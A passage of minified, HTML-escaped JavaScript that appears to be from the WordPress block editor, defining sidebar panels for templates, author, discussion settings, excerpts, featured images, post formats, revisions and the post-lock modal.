0;return(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Template&quot;),ref:_,children:(0,L.jsx)(Uo.DropdownMenu,{popoverProps:f,focusOnMount:!0,toggleProps:{size:&quot;compact&quot;,variant:&quot;tertiary&quot;,tooltipPosition:&quot;middle left&quot;},label:(0,fs.__)(&quot;Template options&quot;),text:(0,Lo.decodeEntities)(r.title),icon:null,children:({onClose:e})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Uo.MenuGroup,{children:[h&amp;&amp;(0,L.jsx)(Uo.MenuItem,{onClick:()=&gt;{s({postId:r.id,postType:&quot;wp_template&quot;}),e(),i(&quot;core/edit-site&quot;,&quot;welcomeGuideTemplate&quot;)||l((0,fs.__)(&quot;Editing template. Changes made here affect all posts and pages that use the template.&quot;),{type:&quot;snackbar&quot;,actions:b})},children:(0,fs.__)(&quot;Edit template&quot;)}),(0,L.jsx)(Fu,{onClick:e}),(0,L.jsx)(zu,{onClick:e}),h&amp;&amp;(0,L.jsx)(Uu,{onClick:e})]}),(0,L.jsx)(Uo.MenuGroup,{children:(0,L.jsx)(Uo.MenuItem,{icon:t?void 0:Ho,isSelected:!t,role:&quot;menuitemcheckbox&quot;,onClick:()=&gt;{const e=t?&quot;template-locked&quot;:&quot;post-only&quot;;p(e),m(e)},children:(0,fs.__)(&quot;Show template&quot;)})})]})})})}function Gu(){const{templateId:e,isBlockTheme:t}=(0,c.useSelect)((e=&gt;{const{getCurrentTemplateId:t,getEditorSettings:s}=e(Ac);return{templateId:t(),isBlockTheme:s().__unstableIsBlockBasedTheme}}),[]),s=(0,c.useSelect)((e=&gt;{var t;const s=e(Ac).getCurrentPostType(),o=e(d.store).getPostType(s);if(!o?.viewable)return!1;const n=e(Ac).getEditorSettings();if(!!n.availableTemplates&amp;&amp;Object.keys(n.availableTemplates).length&gt;0)return!0;if(!n.supportsTemplateMode)return!1;return null!==(t=e(d.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}))&amp;&amp;void 0!==t&amp;&amp;t}),[]),o=(0,c.useSelect)((e=&gt;{var t;return null!==(t=e(d.store).canUser(&quot;read&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}))&amp;&amp;void 0!==t&amp;&amp;t}),[]);return t&amp;&amp;o||!s?t&amp;&amp;e?(0,L.jsx)(Hu,{id:e}):null:(0,L.jsx)(uu,{})}const $u={_fields:&quot;id,name&quot;,context:&quot;view&quot;},Wu={who:&quot;authors&quot;,per_page:100,...$u};function Zu(e){const{authorId:t,authors:s,postAuthor:o,isLoading:n}=(0,c.useSelect)((t=&gt;{const{getUser:s,getUsers:o,isResolving:n}=t(d.store),{getEditedPostAttribute:i}=t(Ac),r=i(&quot;author&quot;),a={...Wu};return e&amp;&amp;(a.search=e,a.search_columns=[&quot;name&quot;]),{authorId:r,authors:o(a),postAuthor:s(r,$u),isLoading:n(&quot;getUsers&quot;,[a])}}),[e]),i=(0,u.useMemo)((()=&gt;{const e=(null!=s?s:[]).map((e=&gt;({value:e.id,label:(0,Lo.decodeEntities)(e.name)}))),t=e.findIndex((({value:e})=&gt;o?.id===e));let n=[];return t&lt;0&amp;&amp;o?n=[{value:o.id,label:(0,Lo.decodeEntities)(o.name)}]:t&lt;0&amp;&amp;!o&amp;&amp;(n=[{value:0,label:(0,fs.__)(&quot;(No author)&quot;)}]),[...n,...e]}),[s,o]);return{authorId:t,authorOptions:i,postAuthor:o,isLoading:n}}function Yu(){const[e,t]=(0,u.useState)(),{editPost:s}=(0,c.useDispatch)(Ac),{authorId:o,authorOptions:n,isLoading:i}=Zu(e);return(0,L.jsx)(Uo.ComboboxControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Author&quot;),options:n,value:o,onFilterValueChange:(0,p.debounce)((e=&gt;{t(e)}),300),onChange:e=&gt;{e&amp;&amp;s({author:e})},allowReset:!1,hideLabelFromVision:!0,isLoading:i})}function Ku(){const{editPost:e}=(0,c.useDispatch)(Ac),{authorId:t,authorOptions:s}=Zu();return(0,L.jsx)(Uo.SelectControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:&quot;post-author-selector&quot;,label:(0,fs.__)(&quot;Author&quot;),options:s,onChange:t=&gt;{const s=Number(t);e({author:s})},value:t,hideLabelFromVision:!0})}const qu=function(){return(0,c.useSelect)((e=&gt;{const t=e(d.store).getUsers(Wu);return t?.length&gt;=25}),[])?(0,L.jsx)(Yu,{}):(0,L.jsx)(Ku,{})};function Qu({children:e}){const{hasAssignAuthorAction:t,hasAuthors:s}=(0,c.useSelect)((e=&gt;{const t=e(Ac).getCurrentPost(),s=!!t?._links?.[&quot;wp:action-assign-author&quot;];return{hasAssignAuthorAction:s,hasAuthors:!!s&amp;&amp;e(d.store).getUsers(Wu)?.length&gt;=1}}),[]);return t&amp;&amp;s?(0,L.jsx)(Od,{supportKeys:&quot;author&quot;,children:e}):null}function Xu({isOpen:e,onClick:t}){const{postAuthor:s}=Zu(),o=(0,Lo.decodeEntities)(s?.name)||(0,fs.__)(&quot;(No author)&quot;);return(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,className:&quot;editor-post-author__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-expanded&quot;:e,&quot;aria-label&quot;:(0,fs.sprintf)((0,fs.__)(&quot;Change author: %s&quot;),o),onClick:t,children:o})}const Ju=function(){const[e,t]=(0,u.useState)(null),s=(0,u.useMemo)((()=&gt;({anchor:e,placement:&quot;left-start&quot;,offset:36,shift:!0})),[e]);return(0,L.jsx)(Qu,{children:(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Author&quot;),ref:t,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:s,contentClassName:&quot;editor-post-author__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,L.jsx)(Xu,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-author&quot;,children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Author&quot;),onClose:e}),(0,L.jsx)(qu,{onClose:e})]})})})})},ep=[{label:(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;),value:&quot;open&quot;,description:(0,fs.__)(&quot;Visitors can add new comments and replies.&quot;)},{label:(0,fs.__)(&quot;Closed&quot;),value:&quot;closed&quot;,description:[(0,fs.__)(&quot;Visitors cannot add new comments or replies.&quot;),(0,fs.__)(&quot;Existing comments remain visible.&quot;)].join(&quot; &quot;)}];const tp=function(){const e=(0,c.useSelect)((e=&gt;{var t;return null!==(t=e(Ac).getEditedPostAttribute(&quot;comment_status&quot;))&amp;&amp;void 0!==t?t:&quot;open&quot;}),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)(&quot;form&quot;,{children:(0,L.jsx)(Uo.__experimentalVStack,{spacing:4,children:(0,L.jsx)(Uo.RadioControl,{className:&quot;editor-change-status__options&quot;,hideLabelFromVision:!0,label:(0,fs.__)(&quot;Comment status&quot;),options:ep,onChange:e=&gt;t({comment_status:e}),selected:e})})})};const sp=function(){const e=(0,c.useSelect)((e=&gt;{var t;return null!==(t=e(Ac).getEditedPostAttribute(&quot;ping_status&quot;))&amp;&amp;void 0!==t?t:&quot;open&quot;}),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Enable pingbacks &amp; trackbacks&quot;),checked:&quot;open&quot;===e,onChange:()=&gt;t({ping_status:&quot;open&quot;===e?&quot;closed&quot;:&quot;open&quot;}),help:(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/trackbacks-and-pingbacks/&quot;),children:(0,fs.__)(&quot;Learn more about pingbacks &amp; trackbacks&quot;)})})},op=&quot;discussion-panel&quot;;function np({onClose:e}){return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-discussion&quot;,children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:(0,fs.__)(&quot;Discussion&quot;),onClose:e}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:4,children:[(0,L.jsx)(Od,{supportKeys:&quot;comments&quot;,children:(0,L.jsx)(tp,{})}),(0,L.jsx)(Od,{supportKeys:&quot;trackbacks&quot;,children:(0,L.jsx)(sp,{})})]})]})}function ip({isOpen:e,onClick:t}){const{commentStatus:s,pingStatus:o,commentsSupported:n,trackbacksSupported:i}=(0,c.useSelect)((e=&gt;{var t,s;const{getEditedPostAttribute:o}=e(Ac),{getPostType:n}=e(d.store),i=n(o(&quot;type&quot;));return{commentStatus:null!==(t=o(&quot;comment_status&quot;))&amp;&amp;void 0!==t?t:&quot;open&quot;,pingStatus:null!==(s=o(&quot;ping_status&quot;))&amp;&amp;void 0!==s?s:&quot;open&quot;,commentsSupported:!!i.supports.comments,trackbacksSupported:!!i.supports.trackbacks}}),[]);let r;return r=&quot;open&quot;===s?&quot;open&quot;===o?(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;):i?(0,fs.__)(&quot;Comments only&quot;):(0,fs._x)(&quot;Open&quot;,&#039;Adjective: e.g. &quot;Comments are open&quot;&#039;):&quot;open&quot;===o?n?(0,fs.__)(&quot;Pings only&quot;):(0,fs.__)(&quot;Pings enabled&quot;):(0,fs.__)(&quot;Closed&quot;),(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,className:&quot;editor-post-discussion__panel-toggle&quot;,variant:&quot;tertiary&quot;,&quot;aria-label&quot;:(0,fs.__)(&quot;Change discussion options&quot;),&quot;aria-expanded&quot;:e,onClick:t,children:r})}function rp(){const{isEnabled:e}=(0,c.useSelect)((e=&gt;{const{isEditorPanelEnabled:t}=e(Ac);return{isEnabled:t(op)}}),[]),[t,s]=(0,u.useState)(null),o=(0,u.useMemo)((()=&gt;({anchor:t,placement:&quot;left-start&quot;,offset:36,shift:!0})),[t]);return e?(0,L.jsx)(Od,{supportKeys:[&quot;comments&quot;,&quot;trackbacks&quot;],children:(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Discussion&quot;),ref:s,children:(0,L.jsx)(Uo.Dropdown,{popoverProps:o,className:&quot;editor-post-discussion__panel-dropdown&quot;,contentClassName:&quot;editor-post-discussion__panel-dialog&quot;,focusOnMount:!0,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,L.jsx)(ip,{isOpen:e,onClick:t}),renderContent:({onClose:e})=&gt;(0,L.jsx)(np,{onClose:e})})})}):null}function ap({hideLabelFromVision:e=!1,updateOnBlur:t=!1}){const{excerpt:s,shouldUseDescriptionLabel:o,usedAttribute:n}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getEditedPostAttribute:s}=e(Ac),o=t(),n=[&quot;wp_template&quot;,&quot;wp_template_part&quot;].includes(o)?&quot;description&quot;:&quot;excerpt&quot;;return{excerpt:s(n),shouldUseDescriptionLabel:[&quot;wp_template&quot;,&quot;wp_template_part&quot;,&quot;wp_block&quot;].includes(o),usedAttribute:n}}),[]),{editPost:i}=(0,c.useDispatch)(Ac),[r,a]=(0,u.useState)((0,Lo.decodeEntities)(s)),l=e=&gt;{i({[n]:e})},d=o?(0,fs.__)(&quot;Write a description (optional)&quot;):(0,fs.__)(&quot;Write an excerpt (optional)&quot;);return(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-excerpt&quot;,children:(0,L.jsx)(Uo.TextareaControl,{__nextHasNoMarginBottom:!0,label:d,hideLabelFromVision:e,className:&quot;editor-post-excerpt__textarea&quot;,onChange:t?a:l,onBlur:t?()=&gt;l(r):void 0,value:t?r:s,help:o?(0,fs.__)(&quot;Write a description&quot;):(0,L.jsx)(Uo.ExternalLink,{href:(0,fs.__)(&quot;https://wordpress.org/documentation/article/page-post-settings-sidebar/#excerpt&quot;),children:(0,fs.__)(&quot;Learn more about manual excerpts&quot;)})})})}const lp=function({children:e}){return(0,L.jsx)(Od,{supportKeys:&quot;excerpt&quot;,children:e})},{Fill:cp,Slot:dp}=(0,Uo.createSlotFill)(&quot;PluginPostExcerpt&quot;),up=({children:e,className:t})=&gt;(0,L.jsx)(cp,{children:(0,L.jsx)(Uo.PanelRow,{className:t,children:e})});up.Slot=dp;const pp=up,mp=&quot;post-excerpt&quot;;function hp(){const{isOpened:e,isEnabled:t,postType:s}=(0,c.useSelect)((e=&gt;{const{isEditorPanelOpened:t,isEditorPanelEnabled:s,getCurrentPostType:o}=e(Ac);return{isOpened:t(mp),isEnabled:s(mp),postType:o()}}),[]),{toggleEditorPanelOpened:o}=(0,c.useDispatch)(Ac);if(!t)return null;const n=[&quot;wp_template&quot;,&quot;wp_template_part&quot;,&quot;wp_block&quot;].includes(s);return(0,L.jsx)(Uo.PanelBody,{title:n?(0,fs.__)(&quot;Description&quot;):(0,fs.__)(&quot;Excerpt&quot;),opened:e,onToggle:()=&gt;o(mp),children:(0,L.jsx)(pp.Slot,{children:e=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(ap,{}),e]})})})}function gp(){return(0,L.jsx)(lp,{children:(0,L.jsx)(hp,{})})}function _p(){return(0,L.jsx)(lp,{children:(0,L.jsx)(fp,{})})}function fp(){const{shouldRender:e,excerpt:t,shouldBeUsedAsDescription:s,allowEditing:o}=(0,c.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s,getEditedPostAttribute:o,isEditorPanelEnabled:n}=e(Ac),i=t(),r=[&quot;wp_template&quot;,&quot;wp_template_part&quot;].includes(i),a=&quot;wp_block&quot;===i,l=r||a,c=r?&quot;description&quot;:&quot;excerpt&quot;,u=r&amp;&amp;e(d.store).getEntityRecord(&quot;postType&quot;,i,s()),p=n(mp)||l;return{excerpt:o(c),shouldRender:p,shouldBeUsedAsDescription:l,allowEditing:p&amp;&amp;(!l||a||u&amp;&amp;u.source===D&amp;&amp;!u.has_theme_file&amp;&amp;u.is_custom)}}),[]),[n,i]=(0,u.useState)(null),r=s?(0,fs.__)(&quot;Description&quot;):(0,fs.__)(&quot;Excerpt&quot;),a=(0,u.useMemo)((()=&gt;({anchor:n,&quot;aria-label&quot;:r,headerTitle:r,placement:&quot;left-start&quot;,offset:36,shift:!0})),[n,r]);if(!e)return!1;const l=!!t&amp;&amp;(0,L.jsx)(Uo.__experimentalText,{align:&quot;left&quot;,numberOfLines:4,truncate:o,children:(0,Lo.decodeEntities)(t)});if(!o)return l;const p=s?(0,fs.__)(&quot;Add a description…&quot;):(0,fs.__)(&quot;Add an excerpt…&quot;),m=s?(0,fs.__)(&quot;Edit description&quot;):(0,fs.__)(&quot;Edit excerpt&quot;);return(0,L.jsxs)(Uo.__experimentalVStack,{children:[l,(0,L.jsx)(Uo.Dropdown,{className:&quot;editor-post-excerpt__dropdown&quot;,contentClassName:&quot;editor-post-excerpt__dropdown__content&quot;,popoverProps:a,focusOnMount:!0,ref:i,renderToggle:({onToggle:e})=&gt;(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,onClick:e,variant:&quot;link&quot;,children:l?m:p}),renderContent:({onClose:e})=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__experimentalInspectorPopoverHeader,{title:r,onClose:e}),(0,L.jsx)(Uo.__experimentalVStack,{spacing:4,children:(0,L.jsx)(pp.Slot,{children:e=&gt;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(ap,{hideLabelFromVision:!0,updateOnBlur:!0}),e]})})})]})})]})}function bp({children:e,supportKeys:t}){const{postType:s,themeSupports:o}=(0,c.useSelect)((e=&gt;({postType:e(Ac).getEditedPostAttribute(&quot;type&quot;),themeSupports:e(d.store).getThemeSupports()})),[]);return(Array.isArray(t)?t:[t]).some((e=&gt;{var t;const n=null!==(t=o?.[e])&amp;&amp;void 0!==t&amp;&amp;t;return&quot;post-thumbnails&quot;===e&amp;&amp;Array.isArray(n)?n.includes(s):n}))?e:null}const yp=function({children:e}){return(0,L.jsx)(bp,{supportKeys:&quot;post-thumbnails&quot;,children:(0,L.jsx)(Od,{supportKeys:&quot;thumbnail&quot;,children:e})})},xp=[&quot;image&quot;],vp=(0,fs.__)(&quot;Featured image&quot;),Sp=(0,fs.__)(&quot;Add a featured image&quot;),wp=(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;To edit the featured image, you need permission to upload media.&quot;)});const kp=(0,c.withSelect)((e=&gt;{const{getMedia:t,getPostType:s,hasFinishedResolution:o}=e(d.store),{getCurrentPostId:n,getEditedPostAttribute:i}=e(Ac),r=i(&quot;featured_media&quot;);return{media:r?t(r,{context:&quot;view&quot;}):null,currentPostId:n(),postType:s(i(&quot;type&quot;)),featuredImageId:r,isRequestingFeaturedImageMedia:!!r&amp;&amp;!o(&quot;getMedia&quot;,[r,{context:&quot;view&quot;}])}})),Cp=(0,c.withDispatch)(((e,{noticeOperations:t},{select:s})=&gt;{const{editPost:o}=e(Ac);return{onUpdateImage(e){o({featured_media:e.id})},onDropImage(e){s(h.store).getSettings().mediaUpload({allowedTypes:[&quot;image&quot;],filesList:e,onFileChange([e]){o({featured_media:e.id})},onError(e){t.removeAllNotices(),t.createErrorNotice(e)},multiple:!1})},onRemoveImage(){o({featured_media:0})}}})),Pp=(0,p.compose)(Uo.withNotices,kp,Cp,(0,Uo.withFilters)(&quot;editor.PostFeaturedImage&quot;))((function({currentPostId:e,featuredImageId:t,onUpdateImage:s,onRemoveImage:o,media:n,postType:i,noticeUI:r,noticeOperations:a,isRequestingFeaturedImageMedia:l}){const d=(0,u.useRef)(!1),[p,g]=(0,u.useState)(!1),{getSettings:_}=(0,c.useSelect)(h.store),{mediaSourceUrl:f}=function(e,t){var s,o;if(!e)return{};const n=(0,m.applyFilters)(&quot;editor.PostFeaturedImage.imageSize&quot;,&quot;large&quot;,e.id,t);if(n in(null!==(s=e?.media_details?.sizes)&amp;&amp;void 0!==s?s:{}))return{mediaWidth:e.media_details.sizes[n].width,mediaHeight:e.media_details.sizes[n].height,mediaSourceUrl:e.media_details.sizes[n].source_url};const i=(0,m.applyFilters)(&quot;editor.PostFeaturedImage.imageSize&quot;,&quot;thumbnail&quot;,e.id,t);return i in(null!==(o=e?.media_details?.sizes)&amp;&amp;void 0!==o?o:{})?{mediaWidth:e.media_details.sizes[i].width,mediaHeight:e.media_details.sizes[i].height,mediaSourceUrl:e.media_details.sizes[i].source_url}:{mediaWidth:e.media_details.width,mediaHeight:e.media_details.height,mediaSourceUrl:e.source_url}}(n,e);function b(e){_().mediaUpload({allowedTypes:xp,filesList:e,onFileChange([e]){(0,di.isBlobURL)(e?.url)?g(!0):(e&amp;&amp;s(e),g(!1))},onError(e){a.removeAllNotices(),a.createErrorNotice(e)},multiple:!1})}function y(e){return e.alt_text?(0,fs.sprintf)((0,fs.__)(&quot;Current image: %s&quot;),e.alt_text):(0,fs.sprintf)((0,fs.__)(&quot;The current image has no alternative text. The file name is: %s&quot;),e.media_details.sizes?.full?.file||e.slug)}function x(e){d.current&amp;&amp;e&amp;&amp;(e.focus(),d.current=!1)}const v=!l&amp;&amp;!!t&amp;&amp;!n;return(0,L.jsxs)(yp,{children:[r,(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-featured-image&quot;,children:[n&amp;&amp;(0,L.jsx)(&quot;div&quot;,{id:`editor-post-featured-image-${t}-describedby`,className:&quot;hidden&quot;,children:y(n)}),(0,L.jsx)(h.MediaUploadCheck,{fallback:wp,children:(0,L.jsx)(h.MediaUpload,{title:i?.labels?.featured_image||vp,onSelect:s,unstableFeaturedImageFlow:!0,allowedTypes:xp,modalClass:&quot;editor-post-featured-image__media-modal&quot;,render:({open:e})=&gt;(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-featured-image__container&quot;,children:[v?(0,L.jsx)(Uo.Notice,{status:&quot;warning&quot;,isDismissible:!1,children:(0,fs.__)(&quot;Could not retrieve the featured image data.&quot;)}):(0,L.jsxs)(Uo.Button,{__next40pxDefaultSize:!0,ref:x,className:t?&quot;editor-post-featured-image__preview&quot;:&quot;editor-post-featured-image__toggle&quot;,onClick:e,&quot;aria-label&quot;:t?(0,fs.__)(&quot;Edit or replace the featured image&quot;):null,&quot;aria-describedby&quot;:t?`editor-post-featured-image-${t}-describedby`:null,&quot;aria-haspopup&quot;:&quot;dialog&quot;,disabled:p,accessibleWhenDisabled:!0,children:[!!t&amp;&amp;n&amp;&amp;(0,L.jsx)(&quot;img&quot;,{className:&quot;editor-post-featured-image__preview-image&quot;,src:f,alt:y(n)}),(p||l)&amp;&amp;(0,L.jsx)(Uo.Spinner,{}),!t&amp;&amp;!p&amp;&amp;(i?.labels?.set_featured_image||Sp)]}),!!t&amp;&amp;(0,L.jsxs)(Uo.__experimentalHStack,{className:Di(&quot;editor-post-featured-image__actions&quot;,{&quot;editor-post-featured-image__actions-missing-image&quot;:v,&quot;editor-post-featured-image__actions-is-requesting-image&quot;:l}),children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-featured-image__action&quot;,onClick:e,&quot;aria-haspopup&quot;:&quot;dialog&quot;,variant:v?&quot;secondary&quot;:void 0,children:(0,fs.__)(&quot;Replace&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,className:&quot;editor-post-featured-image__action&quot;,onClick:()=&gt;{o(),d.current=!0},variant:v?&quot;secondary&quot;:void 0,isDestructive:v,children:(0,fs.__)(&quot;Remove&quot;)})]}),(0,L.jsx)(Uo.DropZone,{onFilesDrop:b})]}),value:t})})]})]})})),jp=&quot;featured-image&quot;;function Ep({withPanelBody:e=!0}){var t;const{postType:s,isEnabled:o,isOpened:n}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t,isEditorPanelEnabled:s,isEditorPanelOpened:o}=e(Ac),{getPostType:n}=e(d.store);return{postType:n(t(&quot;type&quot;)),isEnabled:s(jp),isOpened:o(jp)}}),[]),{toggleEditorPanelOpened:i}=(0,c.useDispatch)(Ac);return o?e?(0,L.jsx)(yp,{children:(0,L.jsx)(Uo.PanelBody,{title:null!==(t=s?.labels?.featured_image)&amp;&amp;void 0!==t?t:(0,fs.__)(&quot;Featured image&quot;),opened:n,onToggle:()=&gt;i(jp),children:(0,L.jsx)(Pp,{})})}):(0,L.jsx)(yp,{children:(0,L.jsx)(Pp,{})}):null}function Tp({children:e}){return(0,c.useSelect)((e=&gt;e(Ac).getEditorSettings().disablePostFormats),[])?null:(0,L.jsx)(Od,{supportKeys:&quot;post-formats&quot;,children:e})}const Bp=[{id:&quot;aside&quot;,caption:(0,fs.__)(&quot;Aside&quot;)},{id:&quot;audio&quot;,caption:(0,fs.__)(&quot;Audio&quot;)},{id:&quot;chat&quot;,caption:(0,fs.__)(&quot;Chat&quot;)},{id:&quot;gallery&quot;,caption:(0,fs.__)(&quot;Gallery&quot;)},{id:&quot;image&quot;,caption:(0,fs.__)(&quot;Image&quot;)},{id:&quot;link&quot;,caption:(0,fs.__)(&quot;Link&quot;)},{id:&quot;quote&quot;,caption:(0,fs.__)(&quot;Quote&quot;)},{id:&quot;standard&quot;,caption:(0,fs.__)(&quot;Standard&quot;)},{id:&quot;status&quot;,caption:(0,fs.__)(&quot;Status&quot;)},{id:&quot;video&quot;,caption:(0,fs.__)(&quot;Video&quot;)}].sort(((e,t)=&gt;{const s=e.caption.toUpperCase(),o=t.caption.toUpperCase();return s&lt;o?-1:s&gt;o?1:0}));function Ip(){const e=`post-format-selector-${(0,p.useInstanceId)(Ip)}`,{postFormat:t,suggestedFormat:s,supportedFormats:o}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getSuggestedPostFormat:s}=e(Ac),o=t(&quot;format&quot;),n=e(d.store).getThemeSupports();return{postFormat:null!=o?o:&quot;standard&quot;,suggestedFormat:s(),supportedFormats:n.formats}}),[]),n=Bp.filter((e=&gt;o?.includes(e.id)||t===e.id)),i=n.find((e=&gt;e.id===s)),{editPost:r}=(0,c.useDispatch)(Ac),a=e=&gt;r({format:e});return(0,L.jsx)(Tp,{children:(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-format&quot;,children:[(0,L.jsx)(Uo.RadioControl,{className:&quot;editor-post-format__options&quot;,label:(0,fs.__)(&quot;Post Format&quot;),selected:t,onChange:e=&gt;a(e),id:e,options:n.map((e=&gt;({label:e.caption,value:e.id}))),hideLabelFromVision:!0}),i&amp;&amp;i.id!==t&amp;&amp;(0,L.jsx)(&quot;p&quot;,{className:&quot;editor-post-format__suggestion&quot;,children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;a(i.id),children:(0,fs.sprintf)((0,fs.__)(&quot;Apply suggested format: %s&quot;),i.caption)})})]})})}const Np=function({children:e}){const{lastRevisionId:t,revisionsCount:s}=(0,c.useSelect)((e=&gt;{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:s}=e(Ac);return{lastRevisionId:t(),revisionsCount:s()}}),[]);return!t||s&lt;2?null:(0,L.jsx)(Od,{supportKeys:&quot;revisions&quot;,children:e})};function Dp(){return(0,c.useSelect)((e=&gt;{const{getCurrentPostLastRevisionId:t,getCurrentPostRevisionsCount:s}=e(Ac);return{lastRevisionId:t(),revisionsCount:s()}}),[])}function Ap(){const{lastRevisionId:e,revisionsCount:t}=Dp();return(0,L.jsx)(Np,{children:(0,L.jsx)(zd,{label:(0,fs.__)(&quot;Revisions&quot;),children:(0,L.jsx)(Uo.Button,{href:(0,v.addQueryArgs)(&quot;revision.php&quot;,{revision:e}),className:&quot;editor-private-post-last-revision__button&quot;,text:t,variant:&quot;tertiary&quot;,size:&quot;compact&quot;})})})}const Rp=function(){const{lastRevisionId:e,revisionsCount:t}=Dp();return(0,L.jsx)(Np,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,href:(0,v.addQueryArgs)(&quot;revision.php&quot;,{revision:e}),className:&quot;editor-post-last-revision__title&quot;,icon:hi,iconPosition:&quot;right&quot;,text:(0,fs.sprintf)((0,fs.__)(&quot;Revisions (%s)&quot;),t)})})};const Mp=function(){return(0,L.jsx)(Np,{children:(0,L.jsx)(Uo.PanelBody,{className:&quot;editor-post-last-revision__panel&quot;,children:(0,L.jsx)(Rp,{})})})};function Lp(){const e=&quot;core/editor/post-locked-modal-&quot;+(0,p.useInstanceId)(Lp),{autosave:t,updatePostLock:s}=(0,c.useDispatch)(Ac),{isLocked:o,isTakeover:n,user:i,postId:r,postLockUtils:a,activePostLock:l,postType:h,previewLink:g}=(0,c.useSelect)((e=&gt;{const{isPostLocked:t,isPostLockTakeover:s,getPostLockUser:o,getCurrentPostId:n,getActivePostLock:i,getEditedPostAttribute:r,getEditedPostPreviewLink:a,getEditorSettings:l}=e(Ac),{getPostType:c}=e(d.store);return{isLocked:t(),isTakeover:s(),user:o(),postId:n(),postLockUtils:l().postLockUtils,activePostLock:i(),postType:c(r(&quot;type&quot;)),previewLink:a()}}),[]);if((0,u.useEffect)((()=&gt;{function n(){if(o||!l)return;const e=new window.FormData;if(e.append(&quot;action&quot;,&quot;wp-remove-post-lock&quot;),e.append(&quot;_wpnonce&quot;,a.unlockNonce),e.append(&quot;post_ID&quot;,r),e.append(&quot;active_post_lock&quot;,l),window.navigator.sendBeacon)window.navigator.sendBeacon(a.ajaxUrl,e);else{const t=new window.XMLHttpRequest;t.open(&quot;POST&quot;,a.ajaxUrl,!1),t.send(e)}}return(0,m.addAction)(&quot;heartbeat.send&quot;,e,(function(e){o||(e[&quot;wp-refresh-post-lock&quot;]={lock:l,post_id:r})})),(0,m.addAction)(&quot;heartbeat.tick&quot;,e,(function(e){if(!e[&quot;wp-refresh-post-lock&quot;])return;const o=e[&quot;wp-refresh-post-lock&quot;];o.lock_error?(t(),s({isLocked:!0,isTakeover:!0,user:{name:o.lock_error.name,avatar:o.lock_error.avatar_src_2x}})):o.new_lock&amp;&amp;s({isLocked:!1,activePostLock:o.new_lock})})),window.addEventListener(&quot;beforeunload&quot;,n),()=&gt;{(0,m.removeAction)(&quot;heartbeat.send&quot;,e),(0,m.removeAction)(&quot;heartbeat.tick&quot;,e),window.removeEventListener(&quot;beforeunload&quot;,n)}}),[]),!o)return null;const _=i.name,f=i.avatar,b=(0,v.addQueryArgs)(&quot;post.php&quot;,{&quot;get-post-lock&quot;:&quot;1&quot;,lockKey:!0,post:r,action:&quot;edit&quot;,_wpnonce:a.nonce}),y=(0,v.addQueryArgs)(&quot;edit.php&quot;,{post_type:h?.slug}),x=(0,fs.__)(&quot;Exit editor&quot;);return(0,L.jsx)(Uo.Modal,{title:n?(0,fs.__)(&quot;Someone else has taken over this post&quot;):(0,fs.__)(&quot;This post is already being edited&quot;),focusOnMount:!0,shouldCloseOnClickOutside:!1,shouldCloseOnEsc:!1,isDismissible:!1,className:&quot;editor-post-locked-modal&quot;,size:&quot;medium&quot;,children:(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;top&quot;,spacing:6,children:[!!f&amp;&amp;(0,L.jsx)(&quot;img&quot;,{src:f,alt:(0,fs.__)(&quot;Avatar&quot;),className:&quot;editor-post-locked-modal__avatar&quot;,width:64,height:64}),(0,L.jsxs)(&quot;div&quot;,{children:[!!n&amp;&amp;(0,L.jsx)(&quot;p&quot;,{children:(0,u.createInterpolateElement)(_?(0,fs.sprintf)((0,fs.__)(&quot;&lt;strong&gt;%s&lt;/strong&gt; now has editing control of this post (&lt;PreviewLink /&gt;). Don’t worry, your changes up to this moment have been 